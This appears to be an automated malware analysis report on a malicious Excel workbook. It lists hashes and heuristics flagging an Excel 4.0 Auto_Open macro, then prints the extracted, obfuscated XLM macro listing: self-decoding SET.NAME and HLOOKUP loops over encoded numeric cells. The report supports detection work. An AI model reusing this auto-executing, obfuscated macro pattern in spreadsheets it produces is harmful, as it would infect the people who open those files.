Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f1f79612db63ce5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:55 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 8c90d69e9ddc9b1b8444f6e946a57a83 SHA-1: 3ac3033c57047542e6a51d3995665fcdd6d8c8fb SHA-256: 7f1f79612db63ce5af67f8748c35043de2f61d15212178c766db9dee38362731
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: 25da5e0bdc4244442fb6d02ba6ec2f5225507957e50f5f14f2f21bc10a676312
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IfdG
' 0018     27 LABEL : Cell Value, String Constant - AIdCqShIpfWz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C173 
' 0018     26 LABEL : Cell Value, String Constant - bMUumwneMBE len=0 
' 0018     21 LABEL : Cell Value, String Constant - BmuyMy len=0 
' 0018     25 LABEL : Cell Value, String Constant - bougISHGmJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - dhSobEBD len=0 
' 0018     25 LABEL : Cell Value, String Constant - dmQUZBEGTh len=0 
' 0018     27 LABEL : Cell Value, String Constant - EqfTMoocmWrk len=0 
' 0018     20 LABEL : Cell Value, String Constant - HbGrW len=0 
' 0018     20 LABEL : Cell Value, String Constant - hCJWt len=0 
' 0018     26 LABEL : Cell Value, String Constant - iuxKtsSJeEs len=0 
' 0018     20 LABEL : Cell Value, String Constant - iVokd len=0 
' 0018     21 LABEL : Cell Value, String Constant - plIlol len=0 
' 0018     25 LABEL : Cell Value, String Constant - TzaBfOJLxH len=0 
' 0018     27 LABEL : Cell Value, String Constant - uqlkMHXkywmD len=0 
' 0018     26 LABEL : Cell Value, String Constant - WecOmNrITdQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - XJqYyKz len=0 
' 0018     23 LABEL : Cell Value, String Constant - xQIZjgGC len=0 
' 0018     26 LABEL : Cell Value, String Constant - xrzKFrbikMX len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZLkGluhTMjN len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZQXrMMjozf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IfdG,P49,"",-495.00000000000000000000
'  IfdG,P50,"",50.00000000000000000000
'  IfdG,P51,"",-449.00000000000000000000
'  IfdG,P52,"",-765.00000000000000000000
'  IfdG,P53,"",666.00000000000000000000
'  IfdG,P54,"",-649.00000000000000000000
'  IfdG,C83,"SET.NAME("BmuyMy",0+VALUE("0"))",""
'  IfdG,C85,"SET.NAME("EqfTMoocmWrk",BmuyMy)",""
'  IfdG,C89,"SET.NAME("bougISHGmJ",BmuyMy)",""
'  IfdG,C94,"SET.NAME("uqlkMHXkywmD",COUNTA(dhSobEBD))",""
'  IfdG,C99,"SET.NAME("WecOmNrITdQ",COUNTA(hCJWt))",""
'  IfdG,C102,[],""
'  IfdG,C106,"SET.NAME("HbGrW","")",""
'  IfdG,C108,"EqfTMoocmWrk",""
'  IfdG,C112,"SET.NAME("AIdCqShIpfWz",HLOOKUP("*",dhSobEBD,EqfTMoocmWrk,FALSE))",""
'  IfdG,C117,"ZQXrMMjozf",""
'  IfdG,C122,"SET.NAME("iVokd",BmuyMy)",""
'  IfdG,C125,[],""
'  IfdG,C129,"iVokd",""
'  IfdG,C133,"ZLkGluhTMjN",""
'  IfdG,C136,"plIlol",""
'  IfdG,C138,"TzaBfOJLxH",""
'  IfdG,C141,"SET.NAME("bMUumwneMBE",VALUE(HLOOKUP("*",hCJWt,TzaBfOJLxH,FALSE)))",""
'  IfdG,C143,"dmQUZBEGTh",""
'  IfdG,C148,"HbGrW",""
'  IfdG,C152,"bougISHGmJ",""
'  IfdG,C154,NEXT(),""
'  IfdG,C158,"xrzKFrbikMX",""
'  IfdG,C162,[],""
'  IfdG,C164,"xQIZjgGC",""
'  IfdG,C167,NEXT(),""
'  IfdG,C169,RETURN(),""
'  IfdG,C198,"SET.NAME("iuxKtsSJeEs",C83)",""
'  IfdG,C201,"dhSobEBD",""
'  IfdG,C203,"SET.NAME("hCJWt",R56C12)",""
'  IfdG,C207,"SET.NAME("xQIZjgGC",214)",""
'  IfdG,C210,"SET.NAME("XJqYyKz",3)",""
'  IfdG,C213,iuxKtsSJeEs(),""
'  IfdG,C214,HALT(),""